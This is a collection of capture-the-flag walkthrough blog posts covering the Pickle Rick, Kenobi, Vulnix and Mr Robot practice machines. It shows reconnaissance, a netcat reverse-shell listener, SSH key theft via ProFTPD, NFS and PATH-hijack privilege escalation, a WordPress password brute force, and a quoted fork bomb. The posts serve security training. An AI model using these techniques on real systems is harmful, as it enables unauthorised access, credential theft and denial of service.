Hello World and welcome to HaXeZ, in this post I’m going to be doing the Pickle Rick room on TryHackMe. This is a fun easy room that requires some basic enumeration and then web application exploitation via code execution.
Scanning Pickle Rick
Ok, so the first thing we need to do is scan the box. To do that we’re going to use our favorite tool Nmap. As seen below, I ran the Nmap scan with the “-sC” flag set for safe scripts. The “-sV” flag set for service versions and then I specified all ports with “-p0-” and then gave it the IP address. As you can see, the results of the Nmap scan show that there are only two ports listening. Port 22 for Secure Shell and port 80 for an Apache Web Server.
sudo nmap -sC -sV -p0- 10.10.118.227 -T4
Exploring The Web Server
As it was unlikely that the room creator wanted us to brute-force SSH, I headed over to the web server. Show Me What You Got!. Upon visiting the web server I was greeted with a Rick and Morty themed website. Furthermore, it looks as though Rick has left Morty a message asking him for help.
Additionally, viewing the page source of the application revealed the username of R1ckRul3s within an HTML comment. The page source also gave away the location of the assets folder. As can be seen, the CSS and Javascript files were being called from the assets directory.
Navigating to the assets directory didn’t reveal much more information. However, it did have directory listening enabled. If this was a web application security assessment, I would definitely report this. While the information contained in the directory doesn’t any sensitive information now. It could do in the future.
Pickle Rick Foothold
After a bit more poking around, I stumbled upon the robots.txt file. Normally these files are used to tell web servers not to index certain pages. However, this one appeared to contain the string “Wubbalubbadubdub”. At first, I thought it was nonsense, but it is not nonsense at all. In bird person’s native tongue it means “I am in great pain, please help me”. References aside, this is the password that goes with the “R1ckRul3s” username we found earlier.
I ran dirb with a custom wordlist against the web application and found a login.php page. Admittedly, I should have found this page without dirb. When doing web application assessments, it’s a good idea to look for login pages with the extension being used (PHP, ASP, ASPX).
Most of the pages were protected and could only be accessed by the Rickest Rick or something. However, I was able to access the commands page. This allowed me to run commands such as “ls” to see the contents of the current directory. It was there I discovered the first ingredient in a text file called “Sup3rS3cretP1ckl3Ingred.txt” or something. I wasn’t able to use “cat” on the file, likely due to command blacklisting. However, I could use “less” on the file which gave me the first ingredient.
Popping Shells
As we have now confirmed that command execution is possible. We should be able to get a reverse shell from the application back to our hacker machine. To do this I visited the PayloadsAllTheThings GitHub repository and stole a python one-liner.
Next, using NetCat I opened a portal to dimension 4242 (because of the meaning of life) on my attacker machine. This is the portal that our snake payload is going to come through once executed by the web application. I’m well aware that there are hundreds of better snake jazz jokes I could make here but cba.
sudo nc -lvnp 4242
Finally, I modified the snake one-liner to change it to python 3. I also change the localhost address to the address of my tun0 TryHackMe VPN IP address. I then copied the payload and pasted it into the command input box and hit the execute command.
Sure enough, the portal to dimension 4242 was opened. The snake army commenced their invasion of the Pickle Rick web server. They slithered around for a bit and found that they had landed on the server as www-data. However, www-data had sudo privileges to do everything without a password. They used these privileges for their own nefarious purposes and elevated their privileges to root. From there they were able to capture the second ingredient found in the /home/rick directory. They then advanced to the /root directory where they were able to steal the third ingredient. It was only a matter of time before they turned Rick back into a human and took over the world.
Conclusions
This was a really fun box, I always try not to use words like really and very in my writing as they are unnecessary. However, this box was really fun. I probably enjoyed it more because I am a BIG (again unnecessary wordage) fan of Rick and Morty. I’m also a sucker for boxes with a strong theme as I love the added immersion that it adds. While this box was listed as easy, I do feel the privilege escalation could have been harder. Would have loved to have had to escalate to the Rick user first. And then to root by using a bespoke Rick and Morty themed science binary with unquoted binary paths or something. Perhaps the simplicity of it is what made me enjoy it more, who knows. Anyway, that’s all I have for you. Please check out the video to give me more views, and subscribe if you want.
Hello World and welcome to haxez, in this post we’re going to be channeling our inner Jedi and taking on the TryHackMe Kenobi room. This room requires you to perform some enumeration to identify services. Then, you need to enumerate SAMBA, NFS, and FTP. Next, you need to exploit a vulnerability in FTP to steal Kenobi’s private key and SSH to the server. Once on the server as Kenobi, you can escalate your privileges to root via a SUID file that uses unquoted paths.
Kenobi Enumeration
First, I ran a Nmap scan with the safe scripts, service version, and operating system detection flags set. This revealed that there were 7 ports listening on the host. As can be seen, the important services found were FTP, SSH, HTTP, NFS, and Samba.
sudo nmap -sC -sV -O 10.10.182.106 -T4
Kenobi SAMBA Enumeration
Once the Nmap scan was complete, I enumerated the SAMBA shares. There are several Nmap scripts that can enumerate Samba shares, as seen in the image below. In short, the scripts used were ‘smb-enum-shares’ and ‘smb-enum-users’. As can be seen, it was possible to identify a total of 3 shares on the host. Furthermore, the IPC$ and Anonymous shares had read and write access.
Using a tool called smbclient, it was possible to access the SAMBA shares and view the files. As a result, the Anonymous share (mapped to C:\home\kenobi\share) had a file called log.txt. I downloaded that file using the get command and opened a new tab to read the contents. Notably, the log file mentioned an SSH key being generated as well as the ProftpD service running on port 21.
Kenobi NFS Enumeration
After reviewing the results of the Nmap scan from earlier, I noticed that NFS was open on ports 111 and 2049. NFS is short for Network File System and is another way to share directories and files on the network. With this in mind, I enumerated the NFS service using a number of Nmap scripts. As can be seen below, the NFS share was exposing the /var directory.
It’s time to start looking for a way to gain access to the machine. From our Nmap scan, we know that we have access to the /var NFS share. We also know that FTP is running and that at some point an SSH key was created. I used Searchsploit to look for vulnerabilities in the ProFTPD 1.3.5 service. The results indicate that there is a command execution vulnerability in this version of ProFTPD.
sudo searchsploit ProFTPD 1.3.5
Exploiting FTP
Ordinarily, FTP will only grant us access to the directories and files in the directory specified in the FTP configuration file. However, as this version of FTP is vulnerable and is running as the Kenobi user, we can leverage that. We can copy the SSH key mentioned in the log file, and move it to a directory that we can access such as the NFS share /var. To do this we use the ‘SITE CPFR’ and ‘SITE CPTO’ commands as shown below.
nc 10.10.182.106 21 SITE CPFR /home/kenobi/.ssh/id_rsa SITE CPTO /var/tmp/id_rsa
Stealing The SSH Key From NFS
Now that the SSH key is on the /var NFS share, we can mount that share and steal the key. In order to do this, we’re going to use the mount command. First, we need to make a directory to mount the NFS share to. I created a directory in ‘/mnt’ called kenobi2. Next, I mounted the ‘/var’ directory to that newly created directory and stole the SSH key.
Now that we have Kenobi’s SSH private key we should be able to access the machine. First we need to change the permissions on the key to 600 to please the SSH gods. Once that is done we can SSH to the box using the SSH key which will grant us our foothold into the machine.
System Enumeration
Before we elevate our privileges to root and own the entire system, we need to find a way to do so. One common method of privilege escalation on the Linux system is via programs with the sticky bit set. The sticky bit means that the program retains root privileges when run by a normal user. There is more to it but I won’t explain the details in this write-up. So, we need to find all the files with the sticky bit set. The screenshot below shows the results of a find command used to find sticky bits. Essentially, it is looking for all files where the permissions have the sticky bit and then sending errors to ‘/dev/null’.
find / -perm -u=s -type f 2>/dev/null
Poking The Program
If you run the same command on your local system, you will notice that the ‘/usr/bin/menu’ binary is uncommon. Running this binary shows us that the program is indeed a bespoke program and it gives us three options.
If we run strings against that binary, we can get an idea of what’s going on. Furthermore, we can see how the creator of this binary made a crucial mistake. We can see that the three options correspond to three system binaries (curl, uname, and ifconfig). Unfortunately for the creator, but fortunately for us, they forgot to include the full path to the binary. As this is running with the sticky bit set we can modify our ‘$PATH’ environmental variable and create our own malicious versions of these binaries.
Kenobi Privilege Escalation
First, I changed my directory to ‘/tmp’. Then I echoed the contents of the ‘/bin/sh’ binary into a file called curl. This will be our replacement malicious binary. I then gave the newly created curl binary, read, write, and execute privileges. Finally, I exported the ‘/tmp’ path in to our ‘$PATH’ environmental variable. Now, when we run the ‘/usr/bin/menu’ binary, it will look for the binaries in the ‘/tmp’ path first. And what will it find? our malicious curl binary.
Now, when we run the ‘/usr/bin/menu’ binary and select the status check options, it runs our malicious curl binary as root and spawns a shell with root privileges.
Conclusions
This box was a lot of fun, I’m sure there was more to it that I didn’t explore. For example, there was a web server that I didn’t even look at. With the finale of the Kenobi series being released, I thought there was no better time to do a walkthrough of this box. Try and cash in on those delicious keywords. There was nothing out of the ordinary on this box, very typical enumeration and exploitation but it was still a fun box. Anyway, I hope you enjoyed the write-up, feel free to watch the video below.
Hello world, thank you for stopping by HaXeZ! In this article, I will be going through the VulnHub box Vulnix. This box requires you to perform some basic reconnaissance to discover services. You then need to abuse those services to gather more information that can be used with other attacks. I like this box as the scenario it presents is realistic. It is also a good box for learning about the Network File System service.
Vulnix Reconnaissance
First, we need to see what the IP of the box is. In order to do this, we can perform a ping sweep of our host-only network and see what responds. As you can see from the output below, it appears that our target IP address is 192.168.56.105.
┌──(kali㉿kali)-[~] └─$ sudo nmap -sP 192.168.56.0/24 [sudo] password for kali: Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:46 EDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.1 Host is up (0.00016s latency). MAC Address: 0A:00:27:00:00:0B (Unknown) Nmap scan report for 192.168.56.100 Host is up (0.00021s latency). MAC Address: 08:00:27:F3:D2:81 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.105 Host is up (0.00060s latency). MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.102 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 1.83 seconds
Next, we need to see what services are listening on the box. In order to do this, we can run a Nmap TCP scan which performs banner grabs on all ports. As you can see we have a number of services such as SSH, SMTP, Finger and NFS.
┌──(kali㉿kali)-[~] └─$ sudo nmap -sC -sV -sT -p0- 192.168.56.105Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:47 EDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.105 Host is up (0.00017s latency). Not shown: 65519 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 25/tcp open smtp Postfix smtpd |_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, 79/tcp open finger Debian fingerd 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 143/tcp open imap Dovecot imapd 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open shell Netkit rshd 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d 2049/tcp open nfs_acl 2-3 (RPC #100227) MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC) Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1s, deviation: 0s, median: -1s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.30 seconds
Vulnix SMTP User Enumeration
We can see port 25 is open so we can use this to enumerate users using the VRFY command. There are a number of tools that can perform this enumeration. Nmap has an NSE script that can enumerate users but there are also independent Python and Perl scripts as well as a Metasploit module. We’re going to use the meta sploit module and set the RHOSTS to the IP address of the target.
We know from the Nmap scan that the Finger service is listening. This service should also allow us to enumerate users. We already have a good wordlist from the SMTP user enumeration but lets enumerate Finger to get as much information out of Vulnix as possible.
Now that we have a good list of users, we can attempt to brute force SSH in order to gain access to the host. To do this we will use the THC Hydra brute forcing tool with our usernames wordlist and the rockyou password list.
While Hydra is running we can continue probing the services on the box for more information. Our Nmap scan showed us that the Network File Service or NFS Service was listening. We can use a tool called showmount to see if there are any exports or shares available.
┌──(kali㉿kali)-[~/Documents] └─$ sudo showmount -e 192.168.56.105 Export list for 192.168.56.105: /home/vulnix *
Based on the information from showmount we can attempt to mount the /home/vulnix mount that we found. However, when we try to list out the contents of /mnt/vulnix, we get a permission denied error.
┌──(kali㉿kali)-[~/Documents] └─$ sudo mkdir /mnt/vulnix ┌──(kali㉿kali)-[~/Documents] └─$ sudo mount 192.168.56.105:/home/vulnix /mnt/vulnix -o vers=3┌──(kali㉿kali)-[~/Documents] └─$ ls /mnt/vulnix ls: cannot open directory '/mnt/vulnix': Permission denied
The mount command I used above mounts the NFS share using an older version. The reason for this is so that we can see the Username and UID. While we don’t have permission to see the contents of the directory, we can still see the directory. You can see below that the UID is 2008. You can also so that the username is vulnix.
┌──(kali㉿kali)-[~/Documents] └─$ ls -lash /mnt total 52K 4.0K drwxr-xr-x 4 root root 4.0K May 7 16:36 . 40K drwxr-xr-x 19 root root 36K Apr 26 11:40 .. 4.0K drwxr-x--- 4 vulnix vulnix 4.0K May 7 15:39 vulnix┌──(kali㉿kali)-[~/Documents] └─$ ls -laShn /mnt total 52K drwxr-xr-x 19 0 0 36K Apr 26 11:40 .. drwxr-xr-x 4 0 0 4.0K May 7 16:36 . drwxr-x--- 4 2008 2008 4.0K May 7 15:39 vulnix
Vulnix Foothold
A common misconfiguration in NFS allows us to create a user with the same username and same UID to access the files.
Next, we generate the SSH key that we are going to copy across and use to access the server. However, as this box is quite old and modern systems no longer supper ssh-rsa, we need to specify that method.
Now that we have our private and public keys, we can copy our public key onto the mount point. We need to copy it into the .ssh directory with the name authorized_keys.
We can now SSH to the box using our private key and it should allow us to log in as the vulnix user. However, as with creating the key, we need to tell our SSH client to accept the old ssh-rsa algorithm.
┌──(vulnix㉿kali)-[~] └─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa [email protected] Warning: Identity file id_rsa not accessible: No such file or directory. Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686) * Documentation: https://help.ubuntu.com/ System information as of Sat May 7 22:22:42 BST 2022 System load: 0.0 Processes: 92 Usage of /: 90.3% of 773MB Users logged in: 1 Memory usage: 1% IP address for eth0: 192.168.56.105 Swap usage: 0% => / is using 90.3% of 773MB Graph this data and manage this system at https://landscape.canonical.com/ Last login: Sat May 7 21:24:35 2022 from 192.168.56.102 vulnix@vulnix:~$
Privilege Escalation
We now have SSH access to the box as the user vulnix. We still need to root the box though. The first thing to do is to see whether we have sudo.
vulnix@vulnix:~$ sudo -ll Matching 'Defaults' entries for vulnix on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User vulnix may run the following commands on this host: Sudoers entry: RunAsUsers: root Commands: sudoedit /etc/exports RunAsUsers: root Commands: NOPASSWD: sudoedit /etc/exports
It would appear that we have limited sudo access which allows us to sudoedit /etc/exports without a password. The /etc/exports file is what we use to configure NFS. This file allows us to specify which parts of the filesystem are accessible to the public. Here we can configure the root user’s home directory as an NFS share.
vulnix@vulnix:~$ sudoedit /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /home/vulnix *(rw,root_squash) /root *(rw,no_root_squash)
In order to make the changes, we need to hard reboot the machine. This isn’t the best option as we don’t have permission to run a reboot and we may not have physical access to the server. Unfortunately, this is the only option we have at this stage. We could run a fork bomb ((){ :|:& };:) to exhaust the resources on the system and force it to reboot but we will just reboot it.
Vulnix Getting root
Once the system has rebooted, we can run the showmout tool again to see if the root user’s home directory has been shared.
┌──(kali㉿kali)-[~] └─$ sudo showmount -e 192.168.56.105 Export list for 192.168.56.105: /root * /home/vulnix *
Fantastic, the root user’s home directory has been shared. We should now be able to make another directory and mount it.
With the root user’s home directory mounted, we can now repeat the process of copying an SSH public key into the authorized_keys file. First, we need to create the .ssh directory. Next, we need to create a new SSH key pair (ensuring to specify the rsa-ssh type). After that, we have to copy the public key to the SSH directory and call it authorized_keys.
┌──(kali㉿kali)-[~] └─$ sudo mkdir /mnt/vulnroot/.ssh ┌──(kali㉿kali)-[~/Documents] └─$ ssh-keygen -t ssh-rsa Generating public/private ssh-rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa):┌──(kali㉿kali)-[~] └─$ sudo cp .ssh/id_rsa.pub /mnt/vulnroot/.ssh/authorized_keys
Finally, we can see to the box as root and capture the trophy… although we could have captured it when we mounted the NFS share. Wheres the fun in that.
┌──(kali㉿kali)-[~] └─$ sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i .ssh/id_rsa [email protected] Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686) * Documentation: https://help.ubuntu.com/ System information as of Sat May 7 22:37:31 BST 2022 System load: 0.0 Processes: 93 Usage of /: 90.3% of 773MB Users logged in: 2 Memory usage: 1% IP address for eth0: 192.168.56.105 Swap usage: 0% => / is using 90.3% of 773MB Graph this data and manage this system at https://landscape.canonical.com/Last login: Sat May 7 21:42:13 2022 from 192.168.56.102 root@vulnix:~# cat trophy.txt cc614640424f5bd60ce5d5264899c3be
So that’s it, the box is owned, we captured the key and learned all about NFS along the way. As for that Hydra session that was running, I believe it found a password for the user named user and it was ‘letmein’. Not that we needed it.
Hello Friend, thank you for coming to haxez. I love the show Mr Robot, it’s probably one of my all-time favorite shows (along with the X-Files and House). Not only is it a realistic hacking drama but it’s also a psychological thriller with some crazy moments. So, today we’re going to channel our inner hacktivist and join up with fsociety to bring down the global conglomerate that is Evil Corp. That’s right, we’re going to be hacking our way into the Mr Robot box on VulnHub created by Leon Johnson.
Mr Robot Set Up
In order to hack this box, you will first need to download it from VulnHub. Once the box has been downloaded you will then need to import it into your Virtual Machine Hypervisor software. I’m going to be using VirtualBox for this and it’s as simple as clicking ‘File > Import Appliance’ and then navigating to the file you downloaded. It may take a couple of minutes but once it’s done, power it up along with your hacking Virtual Machine.
Mr Robot VirtualBox Network Setup
Firstly, you want to check your Host Network Manager settings. This can be done in VirtualBox by ‘File > Host Network Manager’. Take a look at your network settings and make note of the IPv4 address.
Once you have the host network address, check that DHCP is enabled. Then, head to the network settings of both your hacking machine and your target machine. Check that both of the machines have Adapter 1 set to host only and that the name of the adapter is the same. If you want you can enable the second adapter on Kali and set it to NAT so that you still have internet access.
Finding Mr Robot
Hopefully, finding Mr Robot won’t be too difficult now that we have our network settings configured correctly. First, you can use a tool called netdiscover which can either passively detect online hosts or search for them by sending ARP requests. This can be quite noisy but I thought it was worth mentioning. We know the IP address of the host-only interface is 192.168.56.0 so let’s ask netdiscover to explore that range.
Netdiscover
sudo netdiscover -r 192.168.56.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:0b 1 60 Unknown vendor 192.168.56.100 08:00:27:71:14:50 1 60 PCS Systemtechnik GmbH 192.168.56.101 08:00:27:db:36:79 1 60 PCS Systemtechnik GmbH
As you can see, three hosts respond. One is our default gateway with the IP address of 192.168.56.1 and one is our own machine and the other is the target machine. We will have to work out which one is which in a moment.
Ping Sweep
Our second method for finding the host is to perform a ping sweep against the network. As you can see from the terminal output below, it has found the same hosts. So we now know that the target host is either 192.168.56.100 or 192.168..56.101. Let’s perform some reconnaissance to figure out which is which.
┌──(kali㉿kali)-[~] └─$ sudo nmap -sP 192.168.56.0/24 [sudo] password for kali: Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 07:39 EDT Nmap scan report for 192.168.56.1 Host is up (0.00015s latency). MAC Address: 0A:00:27:00:00:0B (Unknown) Nmap scan report for 192.168.56.100 Host is up (0.00036s latency). MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.101 Host is up (0.00038s latency). MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC) Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds
Mr Robot Reconnaissance
In order to work out which one our target is, we can perform a port scan on both IP addresses. The services listening on the IP addresses should tell us which one we need to attack. All I’m doing in the scan below is running a TCP scan against all ports. This is usually fairly quick and should give us everything we need. We could do far more complex scans but for now, let’s work out which box is which.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput] └─$ sudo nmap -sT -p0- 192.168.56.100 Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:00 EDT Nmap scan report for 192.168.56.100 Host is up (0.00012s latency). All 65536 scanned ports on 192.168.56.100 are in ignored states. Not shown: 65536 filtered tcp ports (proto-unreach) MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
Not a lot going on here. This is probably my machine as there won’t be many services running.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput] └─$ sudo nmap -sT -p0- 192.168.56.101 Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:01 EDT Nmap scan report for 192.168.56.101 Host is up (0.0014s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http 443/tcp open https MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 125.66 seconds
As we have a closed SSH port and a web server listening on ports 80 and 443. That definitely isn’t my machine and is likely our target.
Exploring The Mr Robot Web Server
We know that ports 80 and 443 are open so let’s go check them out in our browser. Just grab the IP address and pop it in your browser with either HTTP:// or HTTPS:// at the beginning. The website emulates a Linux terminal with a number of options. Going through these options doesn’t appear to give us much but is pretty cool for immersion. I suggest going through them.
Busting Directories
Since the website didn’t offer us much that we could use to progress, it’s time to brute force its directories and files to see find we can find anything interesting. There are a number of tools out there that can do this but I’m going to keep it simple and use dirb. The output of dirb is quite significant so I will only include a small section here.
As can be seen from the output above, we have a number of interesting files and directories. The first file I want to look at is the robots.txt file. In essence, the robots.txt file is a file that tells search engines what not to index. If you have login pages on your website then you would include them in the robots.txt file to ensure they don’t get indexed by search engines. Let’s take a look at it at http://192.168.56.101/robots.txt
User-agent: * fsocity.dic key-1-of-3.txt
Mr Robot First Key
It looks like we have our first flag or key. Navigate to the http://192.168.56.101/key-1-of-3.txt file and you should receive the following key 073403c8a58a1f80d943455fb30724b9. It also appears that we have a dictionary file, perhaps a word list that we can use to attempt to gain access to the machine. Let’s check it out http://192.168.56.101/fsocity.dic. The file will automatically download but you can cat it once it has downloaded.
Admin Area
My suspicions were correct, it is a large wordlist. We could try and brute force SSH with it or the admin area of the website. Since we found it on the website I think we should start there. The first admin area found by dirb was https://192.168.56.101/admin but visiting that has a constant redirect loop on it. However, it also found a WordPress admin area.
Enumerating Valid Users
Interestingly, when attempting to login into the portal with admin: admin I am informed that I’m using an invalid username. This is a common tactic used in web application penetration testing to enumerate users. If the error messages for submitting an incorrect username and a correct username with an incorrect password are different, then we can enumerate the correct users. First, let’s sort out the wordlist so it only has unique entries.
There are many different tools out there capable of brute-forcing web applications and Burp Suite is probably a bit overkill for this task. However, I know how to use Burp and find it really intuitive so I’m going to stick with what I know. With the proxy on, I will capture a login request and send it to the intruder. There I will clear the existing positions and add my own to the log parameter.
I will then load the fsociety.dic file into the payloads and start the attack Within a matter of moments we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Within a matter of moments, we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Hydra
The error message is different, as you can see it is saying that password for the user Elliot is incorrect. So now that we know our username, it’s time to find our password and in order to do that, we’re going to use a different tool called Hydra.
hydra -vV -l elliot -P robotdic.txt 192.168.56.101 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' [ATTEMPT] target 192.168.56.101 - login "elliot" - pass "even" - 5656 of 11452 [child 9] [ATTEMPT] target 192.168.56.101 - login "elliot" - pass "Even" - 5657 of 11452 [child 7] [ATTEMPT] target 192.168.56.101 - login "elliot" - pass "evening" - 5658 of 11452 [child 11] [ATTEMPT] target 192.168.56.101 - login "elliot" - pass "event" - 5659 of 11452 [child 12] [ATTEMPT] target 192.168.56.101 - login "elliot" - pass "events" - 5660 of 11452 [child 5] [80][http-post-form] host: 192.168.56.101 login: elliot password: ER28-0652 STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-30 09:58:12
Bingo we have found his password from the fsociety.dic file.
Popping Shells
Now we need to get on the box, the simplest way to do this is to add some code to one of the WordPress templates. The easiest is probably going to be the 404 templates because you can then call any non-existing page to execute the code. Modify the following code with your own IP address and add it to the top of the WordPress 404 template.
Now, in your terminal create a listener on port 443 using NetCat.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput] └─$ sudo nc -lvp 443 listening on [any] 443 ... connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 37398 daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls
Lateral Movement
Looking in the home directory we can see there is a user called ‘robot’. Furthermore, there are two files in this user’s home directory. One is the second key and the other is what appears to be a password md5. Unfortunately, we can’t read the key file due to the permissions but we can read the password file.
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -laSh /home/robot ls -laSh /home/robot total 16K drwxr-xr-x 2 root root 4.0K Nov 13 2015 . drwxr-xr-x 3 root root 4.0K Nov 13 2015 .. -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5 -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
If we cat this file we can see that is the md5 hash for the user robot. If we crack this hash then we should be able to switch to the robot user.
Now, we could crack this hash using Hashcat or John The Ripper. However, it has likely already been cracked so let’s check out crackstation.net. Indeed the hash has already been cracked and the password is abcdefghijklmnopqrstuvwxyz… right.
TTY Shell
Trying to switch to ‘robot’ in our current shell will produce an error saying we need to be in a terminal. In order to resolve this issue, we need to spawn a TTY shell.
In order to escalate our privileges to root, we need to find a program that can elevate us. This is normally possible due to a file having the suid bit set. You can find files with the suid bit set by running the following command.
We can see from the output that one of these files is Nmap and older versions of Nmap had an interactive mode that you could use to escape to root. As you can see from the tool output below, we can use Nmap interactive mode to escape to root and capture the final key.
robot@linux:~$ nmap –interactive nmap –interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh !sh # whoami Whoami root # ls Ls key-2-of-3.txt password.raw-md5 # cd /root cd /root # ls Ls firstboot_done key-3-of-3.txt # cat key-3-of-3.txt cat key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4